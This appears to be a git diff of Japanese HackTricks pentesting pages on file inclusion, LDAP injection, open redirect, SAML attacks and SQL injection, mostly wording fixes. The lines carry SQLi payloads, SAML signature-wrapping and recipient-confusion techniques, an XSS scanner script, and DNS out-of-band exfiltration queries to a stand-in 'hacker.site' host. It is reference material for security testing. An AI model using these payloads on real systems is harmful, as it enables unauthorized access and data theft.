+[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpのdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合は引数として使用されるべきであると示されています。 次のリクエストは、`/tmp/hello.php`に``という内容のファイルを作成します: ```bash @@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md ### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して -**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に漏洩できる**が、**サーバー**が**含めるファイルにPHPマークがあるかをチェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとできます: +**Local File Inclusion**を見つけ、**一時ファイルのパスを外部に漏洩できる**が、**サーバー**が**含めるファイルにPHPマークがあるかをチェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -600,16 +600,16 @@ lfi2rce-via-eternal-waiting.md ### 致命的エラーに至る -`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかのファイルを含めると、(そのエラーを引き起こすために同じものを2回含める必要があります)。 +ファイル`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかを含めると、エラーが発生します(そのエラーを引き起こすには、同じファイルを2回含める必要があります)。 **これがどのように役立つのかわかりませんが、役立つかもしれません。**\ -&#xNAN;_EたとえPHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_ +_EたとえPHP致命的エラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。_
## 参考文献 -- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\ +- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {{#file}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index f9e1396ec..8e557239d 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -14,7 +14,7 @@ ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 +**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが**入力を適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 {{#file}} EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf @@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ -&#xNAN;**(&)** = Absolute TRUE\ -&#xNAN;**(|)** = Absolute FALSE +**(&)** = Absolute TRUE\ +**(|)** = Absolute FALSE 例えば:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index e2beafc0f..8fbd5ca8a 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -148,7 +148,7 @@ ReturnUrl=https://c1h2e1.github.io ```bash response.redirect("~/mysafe-subdomain/login.aspx") ``` -#### ジャバ +#### Java ```bash response.redirect("http://mysafedomain.com"); ``` @@ -166,8 +166,8 @@ exit; ## リソース -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) ではファジングリストを見つけることができます。\\ -- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\ +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) ではファジングリストを見つけることができます。 +- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 04ffb8a0f..966560049 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -1,6 +1,6 @@ -# SAML攻撃 +# SAML Attacks -## SAML攻撃 +## SAML Attacks {{#include ../../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ saml-basics.md ## XMLラウンドトリップ -XMLでは、XMLの署名された部分がメモリに保存され、その後いくつかのエンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更するべきではありませんが、そのシナリオに基づくと、**チェックされるデータと元のデータは同じでない可能性があります**。 +XMLでは、XMLの署名された部分がメモリに保存され、その後、エンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更しないはずですが、そのシナリオに基づくと、**チェックされているデータと元のデータは同じでない可能性があります**。 例えば、次のコードを確認してください: ```ruby @@ -38,11 +38,11 @@ REXML 3.2.4 以前のバージョンでプログラムを実行すると、代 First child in original doc: Y First child after round-trip: Z ``` -これはREXMLが上記プログラムの元のXMLドキュメントをどのように見たかです: +これはREXMLが上記のプログラムから元のXMLドキュメントをどのように見たかです: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>) -そして、これは解析とシリアル化の一巡後にどのように見えたかです: +そして、これは解析とシリアル化の一巡の後にどのように見えたかです: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>) @@ -53,7 +53,7 @@ First child after round-trip: Z ## XML署名ラッピング攻撃 -**XML署名ラッピング攻撃(XSW)**では、敵対者はXMLドキュメントが**署名検証**と**関数呼び出し**の2つの異なるフェーズを通過する際に発生する脆弱性を悪用します。これらの攻撃はXMLドキュメントの構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性を損なわない**偽造要素**を**注入**します。この操作は、**アプリケーションロジック**によって分析される要素と、**署名検証モジュール**によってチェックされる要素との間に不一致を生じさせることを目的としています。その結果、XML署名は技術的には有効であり、検証を通過しますが、アプリケーションロジックは**不正要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的に回避し、検出されることなく**任意のコンテンツを注入**することができます。 +**XML署名ラッピング攻撃(XSW)**では、敵対者はXMLドキュメントが**署名検証**と**関数呼び出し**の2つの異なるフェーズを通過する際に発生する脆弱性を悪用します。これらの攻撃はXMLドキュメントの構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性を損なうことなく**偽造要素を注入**します。この操作は、**アプリケーションロジック**によって分析される要素と、**署名検証モジュール**によってチェックされる要素との間に不一致を生じさせることを目的としています。その結果、XML署名は技術的には有効であり、検証を通過しますが、アプリケーションロジックは**不正な要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的に回避し、検出されることなく**任意のコンテンツを注入**することができます。 以下の攻撃は[**このブログ記事**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **および** [**この論文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)に基づいています。詳細についてはそれらを確認してください。 @@ -66,7 +66,7 @@ First child after round-trip: Z ### XSW #2 -- **XSW #1との違い**:包み込み署名の代わりに切り離された署名を利用します。 +- **XSW #1との違い**:包み署名の代わりに切り離された署名を利用します。 - **影響**:「悪意のある」構造は、XSW #1と同様に、整合性チェック後のビジネスロジックを欺くことを目的としています。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>) @@ -80,42 +80,42 @@ First child after round-trip: Z ### XSW #4 -- **XSW #3との違い**:元のアサーションが複製された(悪意のある)アサーションの子要素になります。 +- **XSW #3との違い**:元のアサーションが複製された(悪意のある)アサーションの子になります。 - **影響**:XSW #3と似ていますが、XML構造をより攻撃的に変更します。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../images/image (551).png>) ### XSW #5 -- **ユニークな側面**:署名も元のアサーションも標準構成(包み込み/包み込まれた/切り離された)に従っていません。 -- **影響**:コピーされたアサーションが署名を包み込み、期待されるドキュメント構造を変更します。 +- **ユニークな側面**:署名も元のアサーションも標準的な構成(包み/包まれる/切り離された)に従っていません。 +- **影響**:コピーされたアサーションが署名を包み、期待されるドキュメント構造を変更します。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>) ### XSW #6 - **戦略**:XSW #4および#5と同様の位置挿入ですが、ひねりがあります。 -- **影響**:コピーされたアサーションが署名を包み込み、その後元のアサーションを包み込むことで、入れ子の欺瞞的な構造を作成します。 +- **影響**:コピーされたアサーションが署名を包み、その後元のアサーションを包むことで、入れ子の欺瞞的な構造を作成します。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>) ### XSW #7 -- **戦略**:コピーされたアサーションを子要素として持つExtensions要素が挿入されます。 -- **影響**:Extensions要素の制約が少ないスキーマを利用して、特にOpenSAMLのようなライブラリでスキーマ検証対策を回避します。 +- **戦略**:コピーされたアサーションを子として持つ拡張要素が挿入されます。 +- **影響**:これは、OpenSAMLのようなライブラリでスキーマ検証対策を回避するために、拡張要素の制約の少ないスキーマを悪用します。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>) ### XSW #8 - **XSW #7との違い**:攻撃のバリエーションのために別の制約の少ないXML要素を利用します。 -- **影響**:元のアサーションが制約の少ない要素の子要素になり、XSW #7で使用された構造を逆転させます。 +- **影響**:元のアサーションが制約の少ない要素の子になり、XSW #7で使用された構造を逆転させます。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>) ### ツール -Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、リクエストを解析し、選択したXSW攻撃を適用し、実行できます。 +Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用してリクエストを解析し、選択したXSW攻撃を適用して実行できます。 ## XXE @@ -125,7 +125,7 @@ XXE攻撃がどのようなものか知らない場合は、以下のページ ../xxe-xee-xml-external-entity.md {{#endref}} -SAMLレスポンスは**デフレートされ、base64エンコードされたXMLドキュメント**であり、XML外部エンティティ(XXE)攻撃に対して脆弱である可能性があります。SAMLレスポンスのXML構造を操作することで、攻撃者はXXE脆弱性を悪用しようとすることができます。このような攻撃がどのように視覚化されるかは次のとおりです: +SAMLレスポンスは**デフレートされ、base64エンコードされたXMLドキュメント**であり、XML外部エンティティ(XXE)攻撃に対して脆弱である可能性があります。SAMLレスポンスのXML構造を操作することで、攻撃者はXXEの脆弱性を悪用しようとすることができます。このような攻撃がどのように視覚化されるかは次のとおりです: ```xml -Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用することもできます。SAMLレスポンスを傍受し、`Remove Signatures`をクリックします。これにより、**すべての**署名要素が削除されます。 +Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用することもできます。SAMLレスポンスを傍受し、`Remove Signatures`をクリックします。これにより、**すべての**Signature要素が削除されます。 -署名が削除された状態で、リクエストをターゲットに進めます。サービスによって署名が必要ない場合 +署名が削除された状態で、リクエストをターゲットに進めます。Signatureがサービスによって必要とされていない場合 ## 証明書の偽造 ## 証明書の偽造 -証明書の偽造は、**サービスプロバイダー(SP)がSAMLメッセージが信頼されたアイデンティティプロバイダー(IdP)によって署名されていることを適切に検証するかどうかをテストする技術**です。これは、SAMLレスポンスまたはアサーションに\***自己署名証明書**を使用して署名することを含み、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。 +証明書の偽造は、**サービスプロバイダー(SP)がSAMLメッセージが信頼されたアイデンティティプロバイダー(IdP)によって署名されていることを適切に検証しているかどうかをテストする技術**です。これは、SAMLレスポンスまたはアサーションに\***自己署名証明書**を使用して署名することを含み、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。 ### 証明書の偽造を実施する方法 @@ -211,17 +211,17 @@ Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb1 2. レスポンスに署名が含まれている場合、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。 3. SAML Raiderの証明書タブで、インポートした証明書を選択し、`Save and Self-Sign`をクリックして元の証明書の自己署名クローンを作成します。 4. Burpのプロキシで傍受したリクエストに戻ります。XML署名のドロップダウンから新しい自己署名証明書を選択します。 -5. `Remove Signatures`ボタンで既存の署名を削除します。 -6. **`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンを使用して、新しい証明書でメッセージまたはアサーションに署名します。 +5. `Remove Signatures`ボタンを使用して既存の署名を削除します。 +6. 適切に**`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンを使用して、新しい証明書でメッセージまたはアサーションに署名します。 7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書で署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスに潜在的な脆弱性があることを明らかにします。 ## トークン受信者の混乱 / サービスプロバイダーターゲットの混乱 -トークン受信者の混乱とサービスプロバイダーターゲットの混乱は、**サービスプロバイダーがレスポンスの意図された受信者を正しく検証するかどうかを確認すること**を含みます。基本的に、サービスプロバイダーは、異なるプロバイダー向けの認証レスポンスを拒否する必要があります。ここでの重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、アサーションが送信されるべきURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、アサーションは無効と見なされるべきです。 +トークン受信者の混乱とサービスプロバイダーターゲットの混乱は、**サービスプロバイダーがレスポンスの意図された受信者を正しく検証しているかどうかを確認すること**を含みます。基本的に、サービスプロバイダーは、異なるプロバイダー向けの認証レスポンスを拒否する必要があります。ここでの重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、アサーションが送信されるべきURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、アサーションは無効と見なされるべきです。 #### **動作の仕組み** -SAMLトークン受信者の混乱(SAML-TRC)攻撃が実行可能であるためには、特定の条件が満たされる必要があります。まず、サービスプロバイダー(SP-Legit)に有効なアカウントが存在する必要があります。次に、ターゲットとするサービスプロバイダー(SP-Target)は、SP-Legitにサービスを提供する同じアイデンティティプロバイダーからのトークンを受け入れる必要があります。 +SAMLトークン受信者の混乱(SAML-TRC)攻撃が実行可能であるためには、特定の条件が満たされる必要があります。まず、サービスプロバイダー(SP-Legit)に有効なアカウントが存在する必要があります。次に、ターゲットとするサービスプロバイダー(SP-Target)は、SP-Legitにサービスを提供するのと同じアイデンティティプロバイダーからのトークンを受け入れる必要があります。 これらの条件下で攻撃プロセスは簡単です。共有アイデンティティプロバイダーを介してSP-Legitとの間で認証セッションが開始されます。アイデンティティプロバイダーからSP-LegitへのSAMLレスポンスが傍受されます。この傍受されたSAMLレスポンスは、元々SP-Legit向けであったものがSP-Targetにリダイレクトされます。この攻撃の成功は、SP-Targetがアサーションを受け入れ、SP-Legitで使用されたのと同じアカウント名のリソースへのアクセスを許可することによって測定されます。 ```python @@ -252,17 +252,17 @@ return f"Failed to redirect SAML Response: {e}" ``` https://carbon-prototype.uberinternal.com:443/oidauth/logout ``` -このリンクにアクセスすると、リダイレクトが発生しました: +このリンクにアクセスすると、次のようにリダイレクトされました: ``` https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 ``` -このことから、`base` パラメータが URL を受け入れることが明らかになりました。これを考慮して、XSS (クロスサイトスクリプティング) 攻撃を開始する試みとして、URL を `javascript:alert(123);` に置き換えるアイデアが浮かびました。 +これは、`base`パラメータがURLを受け入れることを明らかにしました。これを考慮して、XSS(クロスサイトスクリプティング)攻撃を開始する試みとして、URLを`javascript:alert(123);`に置き換えるアイデアが浮かびました。 ### 大規模な悪用 -[この研究から](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/): +[この研究から](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/): -[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) ツールを使用して、同じライブラリを利用している `uberinternal.com` のサブドメインを分析しました。その後、`oidauth/prompt` ページをターゲットにしたスクリプトが開発されました。このスクリプトは、データを入力して出力に反映されるかどうかを確認することで XSS (クロスサイトスクリプティング) をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱であるとフラグ付けします。 +[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor)ツールを使用して、同じライブラリを利用している`uberinternal.com`のサブドメインを分析しました。その後、`oidauth/prompt`ページをターゲットにしたスクリプトが開発されました。このスクリプトは、データを入力して出力に反映されるかどうかを確認することでXSS(クロスサイトスクリプティング)をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱であるとフラグ付けします。 ```python import requests import urllib3 @@ -283,7 +283,7 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d ## 参考文献 - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\ +- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) - [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 6abe9dc70..3fcaa4b4b 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -4,11 +4,11 @@ ## SQLインジェクションとは? -**SQLインジェクション**は、攻撃者がアプリケーションの**データベースクエリに干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は**見る**、**変更する**、または**削除する**ことができないデータにアクセスできるようになり、他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。 +**SQLインジェクション**は、攻撃者がアプリケーションのデータベースクエリに**干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は**見る**、**変更する**、または**削除する**ことができないデータにアクセスできるようになり、他のユーザーの情報やアプリケーションがアクセスできるデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。 ## エントリーポイントの検出 -サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクション(SQLi)に対して脆弱である**と見なされます。**最初のステップ**は、**クエリにデータを注入してもそれを妨げない**方法を理解することです。これには、**現在のコンテキストから効果的にエスケープする**方法を特定する必要があります。以下は役立ついくつかの例です: +サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクション(SQLi)**に**脆弱である**と見なされます。**最初のステップ**は、**クエリを中断することなくデータを注入する**方法を理解することです。これには、現在のコンテキストから**効果的にエスケープする**方法を特定する必要があります。以下は役立ついくつかの例です: ``` [Nothing] ' @@ -21,9 +21,9 @@ ")) `)) ``` -次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**新しいデータを受け入れるように前のクエリにデータを入力する**か、単に**データを入力して**、**最後にコメント記号を追加する**ことができます。 +次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力**して**前のクエリが新しいデータを受け入れる**ようにするか、単に**データを入力**して**最後にコメント記号を追加**することができます。 -_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_ +_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができる場合、このフェーズはより簡単になります。_ ### **コメント** ```sql @@ -53,7 +53,7 @@ HQL does not support comments ``` ### 論理演算による確認 -SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが、`?username=Peter' or '1'='1`に変更しても同じ内容を返す場合、SQLインジェクションの脆弱性があることを示しています。 +SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。 同様に、**数学的演算**の適用も効果的な確認手法です。例えば、`?id=1`と`?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。 @@ -148,7 +148,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet #### Order/Group by -クエリのカラム数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。 +クエリ内のカラム数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。 ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True @@ -187,7 +187,7 @@ _クエリの両側の列の型が同じでなければならない場合があ #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` -_データベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_ +_このデータを発見する方法は、異なるデータベースごとに異なりますが、常に同じ方法論です。_ ## 隠れたユニオンベースの悪用 @@ -195,25 +195,25 @@ _データベースごとにこのデータを発見する方法は異なりま これは、ブラインドインジェクション技術とターゲットのデータベース管理システム(DBMS)に特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。 -クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ペイロードにユニオンクエリを追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。 +クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ユニオンクエリをペイロードに追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。 より包括的な洞察については、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。 ## エラーベースの悪用 -何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**は見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを**抽出**することができます。\ +何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**を見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを**抽出**することができます。\ ユニオンベースの悪用と同様の流れに従うことで、DBをダンプすることができるかもしれません。 ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` ## Blind SQLiの悪用 -この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容があるため、**区別**することができます。\ +この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容によって**区別**することができます。\ この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` -## エクスプロイトエラー ブラインド SQLi +## エラー盲目的SQLiの悪用 これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます: ```sql @@ -221,19 +221,19 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` ## 時間ベースのSQLiの悪用 -この場合、ページのコンテキストに基づいてクエリの**応答**を**区別する**方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[SQLi脆弱性の確認](#confirming-with-timing)のために以前に使用されているのを見たことがあります。 +この場合、ページのコンテキストに基づいてクエリの**応答**を**区別する**方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[タイミングで確認する](#confirming-with-timing)ために以前に使用されているのを見たことがあります。 ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` ## スタッククエリ -スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されない**ことに注意してください。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2つ目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。 +スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されない**ことに注意してください。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、またはタイムディレイをトリガーできます。 **Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれをサポートしています: `QUERY-1-HERE; QUERY-2-HERE` ## アウトオブバンドエクスプロイト -**他の**エクスプロイト手法が**機能しなかった**場合、**データベースが情報をあなたが制御する**外部ホストに**流出させる**ことを試みることができます。たとえば、DNSクエリを介して: +**他の**エクスプロイト手法が**機能しなかった**場合、**データベースが情報をあなたが制御する**外部ホストに**流出させる**ように試みることができます。たとえば、DNSクエリを介して: ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` @@ -241,9 +241,9 @@ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` -## 自動化されたエクスプロイト +## 自動化エクスプロイト -[SQLMap Cheatsheet](sqlmap/index.html)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用します。 +[SQLMap Cheatsheet](sqlmap/index.html)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用してください。 ## 技術特有の情報 @@ -265,7 +265,7 @@ SQLインジェクション脆弱性を悪用する方法についてはすで ../login-bypass/sql-login-bypass.md {{#endref}} -### 生ハッシュ認証バイパス +### 生のハッシュ認証バイパス ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` @@ -281,7 +281,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' **推奨リスト**: 各行のリストをユーザー名として使用し、パスワードは常に: _**Pass1234.**_\ -&#xNAN;_(このペイロードは、このセクションの最初に言及された大きなリストにも含まれています)_ +_(このペイロードは、このセクションの最初に言及された大きなリストにも含まれています)_ {{#file}} sqli-hashbypass.txt @@ -312,21 +312,21 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ### 既存のオブジェクト/ユーザーのパスワードを変更する -そのためには、**「マスターオブジェクト」として名付けられた新しいオブジェクトを作成する**ことを試みるべきです(おそらく**admin**がユーザーの場合)。 +そのためには、**「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する**(おそらく**admin**の場合)ために何かを変更する必要があります: -- 名前を**AdMIn**(大文字と小文字の文字)としてユーザーを作成する -- 名前を**admin=**としてユーザーを作成する -- **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する +- 名前を**AdMIn**(大文字と小文字の文字)にしてユーザーを作成する +- 名前を**admin=**にしてユーザーを作成する +- 